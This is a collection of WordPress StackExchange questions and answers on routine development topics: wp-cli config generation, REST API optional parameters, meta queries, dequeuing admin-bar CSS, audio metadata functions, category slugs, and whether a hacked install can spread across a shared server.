{ "answer_score": 1, "question_score": 0, "tags": "menus, walker" }
If a WP install is hacked, can it spread to other domains on a server? I have a managed server with several WP and non-WP sites, and code has been prepended to the content of all files (for all domains on the sever) which begin with a php command. I'm wondering whether the cause was a vulnerability or password-guess in one WP install, or instead a guess of the ftp password or other reason.
> If a WP install is hacked, can it spread to other domains on a server? Sorry to hear that. WordPress security depends on a trust you have in plugins, themes, and the WordPress core itself. If only a single PHP file is damaged, the whole web farm that runs WordPress can be damaged. So the fair answer to your question is Yes. In WordPress plugins and theme have the access privileges of the _web server process_ that runs the web server.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "hacked" }
Reset generated wp-config.php with wp-cli I'm trying to dig into wp-cli and I can't find how to reset a config file I've created with the following command line (Note: I'm in the folder where I want the wordress to be installed): $ wp core config --dbname=aaa --dbuser=bbb --dbpass=ccc --dbprefix=wp_ddd_ Success: Generated 'wp-config.php' file. Apparently, file is created (even if I don't really understand where at the moement...). I've noticed that I had made a mistake in my parameters and when I wanted to relaunch the command, here is what I got: $ wp core config --dbname=new_name --dbuser=bbb --dbpass=ccc --dbprefix=wp_ddd_ Error: The 'wp-config.php' file already exists. How can I solve this and besides, Can someone explain me where this temporary config file is located? Thanks ;)
> How can I solve this and besides, Can someone explain me where this temporary config file is located? This will be generated in the WordPress root folder, the same from where you call the `wp-cli`. Keep in mind you need to provide the correct username password and database name, else it will error. If you error like: > $ wp core config --dbname=new_name --dbuser=bbb --dbpass=ccc --dbprefix=wp_ddd_ Error: The 'wp-config.php' file already exists. Then simple move that file like: mv wp-config.php wp-config2.php Hope this helps.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "installation, wp cli" }
Wordpress logged in but no access to wp-admin Using Apache 2.2, Wordpress 4.4, Better WP Security. I have logged in, can browse all pages on front-end, but when I try to access any link that is on wp-admin I get 404 page. I don't have any ideas left for this situation. I've tried with no luck to: * disable plugins, as just BWS, and all plugins * delete/reset .htaccess, * set all folders and files to 777 * looked into table itsec_lockout but there's no my IP address * searched sql table itsec_log and what I get for my IP in log_data is `a:1:{s:12:"query_string";s:0:"";}`, what is that? What is left to try?
You need to enable the error logging in WordPress from the `wp-config.php` define( 'WP_DEBUG_LOG', true ); After that, you will probably get some feedback inside: wp-content/debug.log Above that, you can try to get the exact feedback you get from 404 page. Check the console in the inspector, and the response from te webserver. curl -I Looks like inside your theme you have some redirecting problem. Try to remove the plugins, the theme and to set the 2017-teen new theme to check if this is true. I hope you will isolate the issue soon. * * * ### What I suggest, you create the test environment somewhere and upgrade the website to the latest version of WordPress. * * * The other things you may investigate: (1) you may have the altered WordPress core somehow, and (2) you may have some .htaccess files other than the WordPress root folder.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "wp admin, login, errors, 404 error" }
Change the background color of my theme widgets On the Widget screen I would like widgets that I have created specifically for my theme to have a different background color, how can the be achieved.
Your widgets will get an ID based on the class name you specify. You can then write a CSS selector based on those values. Say that you prefix your widget classes with 'foo_', then you can select them with: div[id*="foo_"] { background-color: red; } To add that to the admin pages add something like this to your functions.php: add_action('admin_head', 'custom_widget_css'); function custom_widget_css() { echo '<style> div[id*="foo_"] { background-color: red; } </style>'; }
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "widgets" }
migrating wordpress, but getting some php parsing errors I have successfully migrated wordpress site to my localhost using "All-in-One WP Migration" plugin. But I am getting errors on some pages: > Parse error: syntax error, unexpected '}' in C:\xampp\apps\wordpress\htdocs\wp-content\themes\XXX\XXXXpage.php on line 112 editing that file, there is some hard-to-read 'if else' statement wih 'HTML tags' one error I have fixed was changing <?if (!is_mobile() && !is_tablet()){?> to <?php if (!is_mobile() && !is_tablet()){?> anybody knows why the first statement worked on my web, but not on localhost? perhaps due to some PHP version?
Some PHP versions require the explicit declaration of `<?php` instead of just `<?` declarations or the other way around. Settings such as `short_open_tag` in your php.ini file. You can read more here <
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "php, migration" }
How do you disable the admin-bar.css I don't want to fully disable the admin bar. I just want to remove its css file so I can fully customize it myself without having to override anything with greater selectors or a load of `!important` The exact file name that is being loaded is `admin-bar.min.css` and then along with the Wordpress version `?ver=[...]`
This Should do the trick <?php function adminBar_dequeue() { wp_dequeue_style('admin-bar'); wp_deregister_style('admin-bar'); } add_action( 'wp_enqueue_scripts', 'adminBar_dequeue', 9999 ); add_action( 'wp_head', 'adminBar_dequeue', 9999 ); ?>
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "admin bar" }
Wordpress Rest API custom endpoint optional param Is it possible to use `register_rest_route()` with optional parameters in url? Let's say route is registered this way: register_rest_route( 'api', '/animals/(?P<id>\d+)', [ 'methods' => WP_REST_Server::READABLE, 'callback' => 'get_animals', 'args' => [ 'id' ], ] ); It's now possible to perform api call on url like **/wp-json/api/animals/15** , but is there a way to declare the param as optional to also catch route like **/wp-json/api/animals/**. I also tried declaring the route like below, but without success: /animals/(?P<id>\d+)? You can declare another route without the param or utilize GET params, but is there a way to do this already in the `register_rest_route()` ? Thanks for your suggestions.
You should put the named parameters of the route regex into an optional capturing group: register_rest_route( 'api', '/animals(?:/(?P<id>\d+))?', [ 'methods' => WP_REST_Server::READABLE, 'callback' => 'get_animals', 'args' => [ 'id' ], ] ); The second parameter is simply a regex, thus you can use normal regex logic to make it more complex
stackexchange-wordpress
{ "answer_score": 35, "question_score": 23, "tags": "api, rest api, endpoints" }
How to share media between independent blogs? Two blogs in different subdomains, but files on the same disk. If I hard link some of the uploaded media one into the uploads directory of the other, will the media be available? Or do I need to duplicate database records as well?
I'm afraid you'll also need to create the database records - that's how WP looks for media files, starting in the db. Those records then tell WP the local path to the media file. But that means that if your web server has access to both sub domain folders on disk, you don't need to hard link anything - just create your media records in the second db using the first db's path values. All that being said, I should point out sharing resources between subdomain is probably not wise: at some point in the future, it is very much possible one subdomain will move to another server... Then your shared paths won't work anymore. (My $.02) Hope this helps!
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "uploads, media" }
Get posts with same meta value as current post I thought this would be simple, but cant figure it out or find any reference online. Basically Im trying to get posts who have the same meta value for a specific key as the current post. Heres what I have so far global $authordata, $post; $authors_posts = get_posts( array( 'author' => $authordata->ID, 'post_parent' => 0, 'orderby' => 'menu_order', 'post_type' => 'page', 'posts_per_page' => -1, 'meta_query' => array( array( 'key' => 'stashkey', 'value' => $id, 'compare' => '=' ) ) ) ); This works fine to get all posts who have a meta value which equals the same as the current post id - but I want to get it based on having the same meta value as the current post. Thanks
You should first get the meta value for the current post, then use it to make another query. global $authordata, $post; $my_meta = get_post_meta( $id, 'stashkey', true); $authors_posts = get_posts( array( 'author' => $authordata->ID, 'post_parent' => 0, 'orderby' => 'menu_order', 'post_type' => 'page', 'posts_per_page' => -1, 'meta_query' => array( array( 'key' => 'stashkey', 'value' => $my_meta, 'compare' => '=' ) ) ) ); This will fetch the posts that have equal `stashkey` meta as current post.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 1, "tags": "custom field, meta query" }
Is wp_read_audio_metadata() function deprecated? I am trying to use the function wp_read_audio_metadata() to read the metadata for an mp3 file uploaded to a post using acf's file field. Below is my code: <?php $audio_file = get_field('archive_audio_file'); $audio_file_id = $audio_file['id']; $audio_file_path = get_attached_file( $audio_file_id); var_dump(wp_read_audio_metadata($audio_file_path)); ?> When using that code I receive this error on the front end: > Fatal error: Call to undefined function wp_read_audio_metadata() Am I using the code incorrectly? or this **function** is **deprecated**? because I couldn't find it in `wp-includes/media.php`
`wp_read_audio_metadata()` is not deprecated. It's located in `/wp-admin/includes/media.php`, which is not loaded on the front end, hence the error your're getting. You are using the function correctly. You can make `wp_read_audio_metadata()` available by including `wp-admin/includes/media.php` before calling the function, e.g.: require_once( ABSPATH . 'wp-admin/includes/media.php' ); $audio_file_path = get_attached_file( 1821 ); // example attachment ID var_dump( wp_read_audio_metadata( $audio_file_path ) );
stackexchange-wordpress
{ "answer_score": 8, "question_score": 4, "tags": "uploads, media, audio" }
Let Wordpress to go opening an external URL I need to let my WP site go external with some links. I've got this variable in function.php $link=<a href=". $_COOKIE['link'] .">TEXT SHOWN</a> Where $_COOKIE['link'] contains a certain link shown for every case I have to manage. My code currently leads to this: < But, instead I need to go to: <
You forgot to add the "http" to the url Try please this: $link = "<a href=' $_COOKIE['link'] ."'>TEXT SHOWN</a>"; You also can adjust and add the http:// to the `$_COOKIE` itself. If you want that the new link will open in a new tab, add `target='_blank'` like so: $link = "<a href=' $_COOKIE['link'] ."' target='_blank'>TEXT SHOWN</a>";
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "urls, links, cookies" }
How to create a array that contains all of the children slugs of a specific parent category I need to create an Array that contains all of the children slugs of a specific parent category ID. Let's say I have the following parent category and its children categories: 1. Food * pizza * bread * banana * ice cream I need a code/function to use inside `functions.php` that returns the slugs of all of the children's slug of a specific parent category like this: function-get-child-slug( $parentID='1'); It returns this: array('pizza','bread','banana','ice-cream') * * * I've tried some variants of this but it didn't work: $var = wp_list_categories( array( 'child_of' => 1, 'echo' =>false ) ); $array = array(strip_tags($var)); How can I achieve this?
You can use `get_terms()` to get an array of child slugs: /** * Get child term slugs from given term parent * * @param Integer $parent_id ( Parent Term ID ) * @param String $taxonomy ( Taxonomy Slug ) * * @return Array( $term_id => $child_slug ) */ function get_child_slugs( $parent_id = 0, $taxonomy = 'category' ) { return get_terms( array( 'taxonomy' => $taxonomy, 'parent' => $parent_id, 'fields' => 'id=>slug', ) ); } This should return a simple array of `array( $term_id => $term_slug )` assuming a valid parent term ID and valid taxonomy is supplied.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "terms, categories" }
Excluding category from loop not working I'm listing out all posts of a custom post type on a page. I want to remove one category from the query as I'm using it to categorize posts with gated content and as such don't want them to display. Here's my query: $category = get_cat_ID( 'Gated' ); $exclude = '-'.$category; $args = array( 'post_type' => 'resource', 'posts_per_page' => -1, 'cat' => $exclude, ); $loop = new WP_Query( $args ); But what ends up being `'cat' => -46` doesn't seem to be doing anything at all, the posts Categorized as "Gated" still display. From what I've read in the codex etc, I feel like I'm doing this correctly. But apparently I'm not? I've run out of different ways to tweak this. Please help! (FYI `$exclude` prints out the right category ID + `-`, and I have tried manually entering the `-46`)
After @Howdy_McGee confirmed the code works I had to look elsewhere. I noticed I had a duplicate post with the same title (that WASN'T categorized as "Gated") that was always displaying. So I didn't notice when the Gated one was disappearing. >.<
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "custom post types, categories, loop" }
Couple of beginner's questions I've just imported my blog from blogger to WordPress and I am running into few issues. 1. How to automatically set featured images to 400+ posts. I mean I want the first image in the post to be featured image. Manually setting it is time-consuming. Any plugin? 2. How to remove the category/tag "Uncategorised"? 3. I have changed the permalinks format of posts from the default blogger to default WordPress but I'm using Smart 404 plugin which automatically redirects most of the old post address to the new address, will it impact SEO? 4. Staying with number 3, how can I make it all old links work again. (I put some script from wpbeginner in functions.php but it didn't seem to work). Thanks in advance!
1. Check this: Check this: < 2. < 3. No, 301 redirects will typically not impact your performance in the SERPs negatively when done correctly. 4. Please specify your question.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "plugins, post thumbnails" }
WordPress 4.7 - Custom Video Header – Stop Autoplay I am using WordPress’ latest custom video header feature. Anybody has an idea how to stop autoplay? Checked filters but did not find a way to disable autoplay. `/wp-includes/js/wp-custom-header.js` has the default settings. However not getting any clue how I may override it without editing core files
I don't think there is a need to override any core files. You can just use javascript to stop autoplaying the video. I tested the following code on **Twenty Seventeen** theme and it works fine. For example: $( document ).ready( function() { $( document ).on( 'wp-custom-header-video-loaded', function() { $("#wp-custom-header-video").attr('autoplay',false); }); }); This does the trick.
stackexchange-wordpress
{ "answer_score": 3, "question_score": 3, "tags": "video header" }
Add video hero/header to wordpress main site (storefront) I want to have a video header on my main WordPress site. I use `Page specific stylesheet`, on my main page, with this code, to make the header on the whole page: .site-header { height: 100vh; } I do also use `Video Background`, to insert a video. This is how it looks: ![enter image description here]( It works on desktop, but on smaller screens, it shows grey, on the top and the bottom. On phones, it doesn't show up at all. Can I fix, or would you recommend another methode? Link to the page: www.gullhaugensport.no/hannepanne
I think you need to change the CSS on your video element. Remove the `max-width: 100%` and set the height to `height: 100vh;`. It will crop the edges of the video on smaller screens, but that can't be helped if you want it to be full screen height.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "video header" }
Using variable in WordPress loop as criteria I have created a widget that has a dropdown with the 3 choices, Sale, Rent or Both, there is a WP loop to display the results, if Sale or Rent is chosen the query works fine, but if Both is chosen it shows no results. $sale_or_rent = $instance['feat_prop_sale_or_rent']; if ( $sale_or_rent == 'Both' ) { $sale_or_rent = 'Sale,Rent'; } Loop criteria array ( 'key' => 'sale_or_rent', 'compare' => '=', 'value' => $sale_or_rent, ), Can I use the $sale_or_rent in the way that I have in the criteria to denote I want both Sale and Rent to displayed, or where have I gone wrong, if I type in 'sale','rent' then I only get the first one e.g. sale how can I add both so it is Sale or Rent to display.
You need an `IN` comparison and `array` if you want to match multiple values. array ( 'key' => 'sale_or_rent', 'compare' => 'IN', 'value' => array('Sale', 'Rent'), ),
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "loop" }
How to declutter admin columns As the number of activated plugins increases, many of the admin columns are getting so cluttered that it's becoming hard to read the content of the names and modify them. Is there a way to fix this? ![Admin columns](
Admin columns can be shown/hidden by using the _Screen Options_ menu. Here, the custom column _Headline news_ is being hidden using the UI: ![Toggle admin columns]( Alternatively, Admin Columns can be unset (and therefore hidden) programmatically: add_filter( 'manage_post_posts_columns', 'wpse_hide_columns', PHP_INT_MAX, 1 ); function wpse_hide_columns( $columns ) { // Check for the name of the column, and unset it if it exits. if ( isset( $columns['headline_news'] ) ) { unset( $columns['headline_news'] ); } return $columns; }
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "wp admin" }
Using jQuery to automatically add class only to gif images in WordPress database When adding any image to a page or post, Wordpress is automatically adding a paragraph tag as parent holding the image as follow: <p><img src="my-image.gif" alt=""></p> I'd love to find a solution to apply a specific classname only to gif images. The example above would thus result in: <p><img class="gif-class" src="my-image.gif"></p>
Found it: $('img[src*=".gif"]').addClass('gif-class'); Thanks to @BrianFegter
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "images, jquery" }